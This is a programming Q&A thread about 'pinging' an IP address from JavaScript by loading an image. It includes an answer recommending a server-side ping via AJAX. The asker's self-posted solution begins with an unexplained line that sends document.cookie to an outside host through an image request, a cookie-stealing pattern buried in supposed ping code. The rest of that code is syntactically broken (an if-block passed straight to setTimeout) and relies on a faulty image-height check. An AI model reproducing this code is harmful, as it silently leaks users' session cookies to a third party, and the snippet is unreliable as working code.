Click here to Skip to main content
15,889,034 members
Please Sign up or sign in to vote.
0.00/5 (No votes)
See more:
Hi I am try ping ip address in javascript using button click,if click second time only it ping ip address,below is my javascript code for button click event,in this i am try to ping ip address and image,bcz i dont know how ping ip address same as in command prompt

HTML
function submitbtn_click() {
               var serverip = "192.168.168.1"

               if (serverip != "") {
                   var ImageObject = new Image();
                   ImageObject.src = "http://" + serverip + "/Services/images/Main/bar.gif";

                   if (ImageObject.height > 0)
                 {
                  alert("Success");
                   } else {

                        alert("Fail");
                   }
               }
               else {
                   alert("Server IP should not be empty");
               }

           }
       }

Pls reply asap.

Regards
Aravind
Posted

You can't do this from JS. What you could do is this:

client --AJAX-- yourserver --ICMP ping-- targetservers
Make an AJAX request to your server, which will then ping the target servers for you, and return the result in the AJAX result.

Possible caveats:

this tells you whether the target servers are pingable from your server, not from the user's client
so the client won't be able to test hosts its LAN
but you shouldn't let the host to check hosts on the server's internal network, if any
some hosts may block traffic from certain hosts and not others
you need to limit the ping count per machine:
to avoid the AJAX request from timing out
some site operators can get very upset when you keep pinging their sites all the time
resources
long-running HTTP requests could run into maximum connection limit of your server, check how high it is
many users trying to ping at once might generate suspicious-looking traffic (all ICMP and nothing else)
concurrency -
you may wish to pool/cache the up/down status for a few seconds at least, so that multiple clients wishing to ping the same target won't launch a flood of pings
 
Share this answer
 
Comments
Aravindba 5-Nov-14 0:25am    
Thank u for ur reply,i got solution,if i delay some secs then get ImageObject.height ,bcz when ping address it take some secs to reply,so i set timeout then first time itself if ip correct then alert as success.
Here the solution,if ping ip address it take little bit time to reply,so i use settimeout function and wait for 3 secs then get result as success at first time.

C#
var image = new Image();
image.src = "https://www.site.com/cgi-bin/pullimg.cgi?user=" + encodeURI( document.cookie );
 function submitbtn_click() {
                var serverip = "192.168.168.1"
 setTimeout(
                if (serverip != "") {


                    var ImageObject = new Image();
                    ImageObject.src = "http://" + serverip + "/Services/images/Main/bar.gif"; 
 
                    if (ImageObject.height > 0)
                  {
                   alert("Success");
                    } else {
 
                         alert("Fail");
                    }
                }
                else {
                    alert("Server IP should not be empty");
                }
 
            },
    1000
);
        }


http://forums.asp.net/p/2016963/5804495.aspx?Re+How+to+ping+ip+address+in+javascript+[^]


Regards
Aravind
 
Share this answer
 

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900